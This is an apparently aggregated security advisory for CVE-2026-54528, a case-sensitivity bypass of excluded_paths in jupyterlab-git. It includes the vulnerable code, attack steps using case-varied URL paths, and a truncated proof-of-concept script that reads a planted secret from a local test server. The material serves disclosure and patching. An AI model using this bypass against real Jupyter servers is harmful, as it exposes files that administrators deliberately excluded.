🛡️ CVE-2026-54528 — jupyterlab-git
Description
jupyterlab-git excluded_paths Case-Sensitivity Bypass Allows Reading Excluded Directories
Summary
jupyterlab-git 0.53.0 (latest, 2026-04-30) uses fnmatch.fnmatchcase() in GitHandler.prepare() (jupyterlab_git/handlers.py:91) to enforce the admin-configured excluded_paths security control. Because fnmatchcase is unconditionally case-sensitive, an authenticated user on a case-insensitive filesystem (macOS APFS, Windows NTFS) can bypass the exclusion by varying the case of the URL path segment — e.g. requesting /git/project/Secrets/... instead of /git/project/secrets/... — gaining read access to git history, file content, and status in directories the administrator explicitly excluded.
Vulnerable Code
```python
# jupyterlab_git/handlers.py:84-92
async def prepare(self):
"""Check if the path should be skipped"""
await ensure_async(super().prepare())
path = self.path_kwargs.get("path")
if path is not None:
excluded_paths = self.git.excluded_paths
for excluded_path in excluded_paths:
if fnmatch.fnmatchcase(path, excluded_path): # ← always case-sensitive
raise tornado.web.HTTPError(404)
```
Root Cause
fnmatch.fnmatchcase() is unconditionally case-sensitive regardless of the operating system. Contrast with fnmatch.fnmatch() which normalizes via os.path.normcase() on case-insensitive platforms.
```python
fnmatch.fnmatchcase("/project/secrets", "/project/secrets") # True — blocked
fnmatch.fnmatchcase("/project/Secrets", "/project/secrets") # False — bypasses check
```
On macOS APFS and Windows NTFS, /project/Secrets and /project/secrets resolve to the same directory on disk. The exclusion check rejects only the exact-case match, but the downstream url2localpath() resolves the case-varied path to the same filesystem location.
Impact
An authenticated JupyterLab user with access to the affected Jupyter server can bypass admin-configured excluded_paths by varying the case of the URL path segment. This grants:
- Read file content at any git ref (
/contentendpoint) - Read working tree files in the excluded directory
- View git status, log, diff on the excluded path
- Enumerate commits touching excluded files
Attack Scenario
1. Admin configures c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]
2. Normal request POST /git/project/secrets/status → HTTP 404 (blocked)
3. Attacker requests POST /git/project/Secrets/status → HTTP 200 (bypass)
4. Attacker reads secret: POST /git/project/Secrets/content with {"filename": "./cred.txt", "reference": {"git": "HEAD"}} → file content returned
Exploit
See poc.py. Starts a real jupyter-server with jupyterlab-git loaded, configures excluded_paths, and demonstrates bypass + exfiltration via HTTP.
```python
import json, os, shutil, subprocess, sys, tempfile, time
import urllib.request, urllib.error
from jupyterlab_git.handlers import GitHandler # real import, no mock
from jupyterlab_git_core.git import Git
import jupyterlab_git_core
PORT = 18895
TOKEN = "xtoken"
BASE_URL = f"http://127.0.0.1:{PORT}"
SECRET = "sk-PROD-a8f2x9q-LIVE-KEY"
def post(path_seg, endpoint, body=None):
url = f"{BASE_URL}/git/{path_seg}{endpoint}"
data = json.dumps(body or {}).encode()
req = urllib.request.Request(url, data=data, method="POST",
headers={"Authorization": f"token {TOKEN}", "Content-Type": "application/json"})
try:
resp = urllib.request.urlopen(req, timeout=10)
return resp.status, json.loads(resp.read())
except urllib.error.HTTPError as e:
return e.code, e.read().decode()
def main():
base_dir = tempfile.mkdtemp(prefix="jlgit_")
workspace = os.path.join(base_dir, "workspace")
repo_dir = os.path.join(workspace, "project")
secret_dir = os.path.join(repo_dir, "secrets")
os.makedirs(secret_dir)
with open(os.path.join(secret_dir, "cred.txt"), "w") as f:
f.write(SECRET + "\n")
git_env = {**os.environ, "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@x",
"GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@x"}
subprocess.run(["git", "init"], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "add", "."], cwd=repo_dir, capture_output=True, check=True)
subprocess.run(["git", "commit", "-m", "init"], cwd=repo_dir,
capture_output=True, check=True, env=git_env)
config_path = os.path.join(base_dir, "jupyter_server_config.py")
with open(config_path, "w") as f:
f.write(f'c.ServerApp.root_dir = "{workspace}"\n')
f.write(f'c.ServerApp.token = "{TOKEN}"\n')
f.write(f'c.ServerApp.open_browser = False\n')
f.write(f'c.ServerApp.port = {PORT}\n')
f.write(f'c.ServerApp.ip = "127.0.0.1"\n')
f.write(f'c.ServerApp.disable_check_xsrf = True\n')
f.write(f'c.JupyterLabGit.excluded_paths = ["/project/secrets", "/project/secrets/*"]\n')
env = os.env
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.
Affected software
CVE-2026-54528 is recorded against 1 package.
- jupyterlab-git (fixed in 0.54.0)
Timeline and source
Published on 19 June 2026 and last revised on 15 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.
References
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| jupyterlab-git | — | 0.54.0 |
References
Similar Threats
- High CVE-2026-54527
- High CVE-2025-30370
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running jupyterlab-git?
CVE-2026-54528 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-54528 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.